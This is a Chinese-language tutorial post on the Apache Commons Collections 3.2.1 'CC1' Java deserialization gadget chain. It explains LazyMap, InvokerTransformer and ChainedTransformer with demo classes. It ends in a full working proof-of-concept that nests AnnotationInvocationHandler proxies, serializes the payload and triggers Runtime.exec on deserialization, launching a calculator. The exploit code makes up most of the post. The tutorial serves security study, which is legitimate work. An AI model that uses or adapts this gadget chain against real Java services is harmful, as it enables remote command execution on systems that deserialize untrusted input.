CommonsCollections 1
Java版本为 1.7
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
LazyMap
简介:修饰另一个 map,当调用 map 中不存在的 key 时使用工厂创建对象
多说无益,上代码
package com.yq1ng.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-22 13:24
*/
public class TestLazyMap {
public static void main(String[] args) {
// 定义处理不存在 key 的情况,可以是 Transformer 也可以是 ChainedTransformer 链子
// 用于反转调用不存在的 key 值
final Transformer reverseString = new Transformer() {
public Object transform(Object object) {
String name = (String) object;
String reverse = StringUtils.reverse(name);
return reverse;
}
};
Map names = new HashMap();
// 将处理链传给 lazyMap
Map lazyMap = LazyMap.decorate(names, reverseString);
// lazyMap 为空,测试调用不存在 key
String name = (String) lazyMap.get("yq1ng");
System.out.println("name:" + name);
// put 一个键值
lazyMap.put("yq1ng", "TestLazyMap");
// key 存在,不进入处理链
name = (String) lazyMap.get("yq1ng");
System.out.println("name:" + name);
}
}
可以看到 LazyMap.decorate(Map map, Transformer factory)
的 factory 是可以被控制的,而 Transformer
是一个接口,看看其实现有哪些
ConstantTransformer
简介:当调用其 transform 方法时,它将返回构造时传入的 对象
这个就不需要例子了吧,算了还是写一个吧哈哈哈
package com.yq1ng.cc1;
import org.apache.commons.collections.functors.ConstantTransformer;
/**
* @author ying
* @Description
* @create 2021-10-22 22:20
*/
public class TestConstantTransformer {
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
System.out.println(constantTransformer.transform(new String()));
}
}
InvokerTransformer
简介:初始化此类后,调用 transform 方法将通过反射创建对象实例
实例化需传入三个参数:
- 第⼀个参数是待执⾏的⽅法名
- 第⼆个参数是这个函数的参数列表的参数类型
- 第三个参数是传给这个函数的参数列表
代码也很清楚
没有什么限制,妥妥的 rce 执行点,这也是本 gadget 的终点,来个例子看看
package com.yq1ng.cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-22 22:32
*/
public class TestInvokerTransformer {
public static void main(String[] args) {
HashMap hashMap = new HashMap();
// 这里使用 LazyMap 是不行的,因为他继承的是 AbstractMapDecorator
// 其 put 就是简单的 map.put,没有其他操作,这也和 LazyMap 的名字很像,懒 Map
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
));
lazyMap.put(Runtime.getRuntime(), "yq1ng");
// 需要使用 TransformedMap,在调用 put 时会修饰 key 和 value
// 而 map 的修饰我们已经定义好了,弹出计算器
Map map = TransformedMap.decorate(hashMap,
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
),null);
map.put(Runtime.getRuntime(), "yq1ng");
}
}
ChainedTransformer
简介:将各个 Transformer 连接在一起,使用上一个 Transformer 的结果作为下一个 Transformer 的输入
他的代码也很简单,依次调用传入 Transformer 的 transform
来个例子
package com.yq1ng.cc1;
import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-22 22:08
*/
public class TestChainedTransformer {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map map = TransformedMap.decorate(hashMap, chain, null);
map.put("yq1ng", "test");
}
}
动态代理劫持
如果不会动态代理的话可以先看看这个:java动态代理实现与原理详细分析
代理有点像 PHP 的 __call 方法
直接上代码了,文件名不用写了吧,都懂
package com.yq1ng.cc1.DynamicProxy;
public interface GetFlag {
void GiveMeFlag();
}
package com.yq1ng.cc1.DynamicProxy;
/**
* @author ying
* @Description
* @create 2021-10-24 8:00 PM
*/
public class GetFlagImpl implements GetFlag {
public void GiveMeFlag() {
System.out.println("Give you flag : flag{yq1ng}");
}
}
package com.yq1ng.cc1.DynamicProxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
/**
* @author ying
* @Description
* @create 2021-10-24 8:02 PM
*/
public class GetFlagService {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("GiveMeFlag")){
System.out.println("nonono! I can't give it to you flag~");
}
return null;
}
};
GetFlag getFlag = (GetFlag) Proxy.newProxyInstance(
GetFlagImpl.class.getClassLoader(),
new Class[] {GetFlag.class},
handler
);
getFlag.GiveMeFlag();
}
}
运行以后发现并未获得 flag ,这就是简单的劫持
gadget
上面是能成功利用了,但是不可能让你直接使用 put 的,所以需要另辟蹊径。ysoserial 使用的是 org/apache/commons/collections/map/LazyMap.java#get()
, 上面也提到过,LazyMap.get()
在找不到值的时候会调用 factory.transform
,也就是经过处理链,那么只需要找到一个能直接/间接执行这个方法的类就好了。结果寻找到 rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke()
直接调用了 get()
那谁又去调用 AnnotationInvocationHandler.invoke()
呢?ysoserial 使用的是 动态代理:Proxy.newProxyInstance()
,可以把它想象成 PHP 的 __call()
。注意 AnnotationInvocationHandler
也是一个 InvocationHandler
,也就是如果将这个对象进行代理,那么在 readObject()
的时候调用任意方法就会进到 invoke()
里面。
代理可以这么写:
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// 创建 map 代理 handler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
// 创建 map 代理,劫持调用 map 时将数据经过处理链 chain
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
此时还不能序列化,因为这时候还是直走到 invoke()
,需要再次代理一下,对这个 invoke()
进行包装,使得在反序列化的时候调用到它
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
// 为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
做完上面这些这还不够,由于 Runtime
没有实现 Serializable 接口,所以上面的还是不能直接用,需要将 Runtime.getRuntime()
改为 Runtime.class
,因为所有的 Class 类都实现了 Serializable 接口。
其他的细节见下面 poc 的注释
poc
package com.yq1ng.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
/**
* @author ying
* @Description
* @create 2021-10-19 22:55
*/
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
// 创建处理链
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
// 返回 Runtime 类
new ConstantTransformer(Runtime.class),
// 上面返回的是一个 Class,所以需要反射获取其方法,相当于 (Runtime.class).getMethod("getRuntime",null)
/*
new Class[0] 就是传一个长度为1的Class数组过去,内容为null。
new Class[0] 表示有零个元素的Class数组,即空数组,与传入null结果是一样的,都表示取得无参构造方法。
为什么不直接传入null?
防止后面代码有 for(Object o : args) 报错抛出 NullPointerException 空指针异常
*/
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 这一步相当于 ((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)
/*
解释一下 invoke
对Method实例调用invoke就相当于调用该方法,invoke的第一个参数是对象实例,第二个为方法参数
前面一步 (Runtime.class).getMethod("getRuntime",null) 返回的是一个 Method 包装后的 getRuntime 方法,
并不是 Runtime 对象,这个方法是空参数,所以不需要去传入对象实例,也不需要传入参数
*/
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 到这就是 (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")
// 上面一步 invoke 后就返回了 Runtime 对象,所以这里就可以用 exec 了
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
// 将处理链塞进 map
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
// 创建 map 代理 handler
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
// 创建 map 代理,劫持调用 map 时将数据经过处理链 chain
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
// 获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
// 为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
// 写文件,模拟网络传输
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
outputStream.writeObject(handler);
outputStream.close();
// 读文件,模拟网络读取
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
运行以后可以发现弹出了计算器,但是如果你去调式的话在反序列化之前就会弹出计算器,当调试过了 劫持 map 调用 的那句代码后就会弹出计算器,是因为 idea 要处理每个变量数据展示出来导致执行了 map.toString()
经过了处理链弹出计算器。